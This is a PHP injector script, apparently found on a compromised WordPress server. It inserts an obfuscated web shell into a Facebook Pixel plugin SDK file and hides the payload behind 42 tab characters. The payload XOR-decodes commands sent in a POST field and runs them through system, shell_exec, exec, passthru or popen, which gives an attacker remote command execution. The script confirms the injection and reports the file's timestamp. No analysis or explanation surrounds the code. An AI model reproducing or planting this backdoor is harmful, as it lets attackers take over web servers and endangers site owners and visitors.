File: //tmp/.internal
<?php $path = '/home1/tabela11/public_html/wp-content/plugins_old/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/CustomAudience.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24framework4%20%3D%20%22%5Cx70a%5Cx73%5Cx73th%5Cx72u%22%3B%20%24framework1%20%3D%20%22%5Cx73%5Cx79%5Cx73tem%22%3B%20%24framework7%20%3D%20%22%5Cx70%5Cx63%5Cx6Cose%22%3B%20%24framework5%20%3D%20%22%5Cx70o%5Cx70en%22%3B%20%24framework6%20%3D%20%22%5Cx73%5Cx74%5Cx72eam_%5Cx67%5Cx65t_co%5Cx6E%5Cx74e%5Cx6Ets%22%3B%20%24framework3%20%3D%20%22e%5Cx78%5Cx65c%22%3B%20%24data_storage%20%3D%20%22%5Cx68ex2bi%5Cx6E%22%3B%20%24framework2%20%3D%20%22%5Cx73%5Cx68e%5Cx6Cl%5Cx5Fex%5Cx65c%22%3B%20if%20%28isset%28%24_POST%5B%22en%5Cx74%22%5D%29%29%20%7B%20function%20system_core%28%20%24entity%20%2C%20%24k%20%29%20%7B%24rec%20%3D%20%27%27%20%3B%20%24y%3D0%3B%20while%28%24y%3Cstrlen%28%24entity%29%29%7B%24rec.%3Dchr%28ord%28%24entity%5B%24y%5D%29%5E%24k%29%3B%24y%2B%2B%3B%7D%20return%20%24rec%3B%20%7D%20%24ent%20%3D%20%24data_storage%28%24_POST%5B%22en%5Cx74%22%5D%29%3B%20%24ent%20%3D%20system_core%28%24ent%2C%2032%29%3B%20if%20%28function_exists%28%24framework1%29%29%20%7B%20%24framework1%28%24ent%29%3B%20%7D%20elseif%20%28function_exists%28%24framework2%29%29%20%7B%20print%20%24framework2%28%24ent%29%3B%20%7D%20elseif%20%28function_exists%28%24framework3%29%29%20%7B%20%24framework3%28%24ent%2C%20%24bind_entity%29%3B%20print%20join%28%22%5Cn%22%2C%20%24bind_entity%29%3B%20%7D%20elseif%20%28function_exists%28%24framework4%29%29%20%7B%20%24framework4%28%24ent%29%3B%20%7D%20elseif%20%28function_exists%28%24framework5%29%20%26%26%20function_exists%28%24framework6%29%20%26%26%20function_exists%28%24framework7%29%29%20%7B%20%24k_rec%20%3D%20%24framework5%28%24ent%2C%20%27r%27%29%3B%20if%20%28%24k_rec%29%20%7B%20%24tkn_ptr%20%3D%20%24framework6%28%24k_rec%29%3B%20%24framework7%28%24k_rec%29%3B%20print%20%24tkn_ptr%3B%20%7D%20%7D%20exit%3B%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');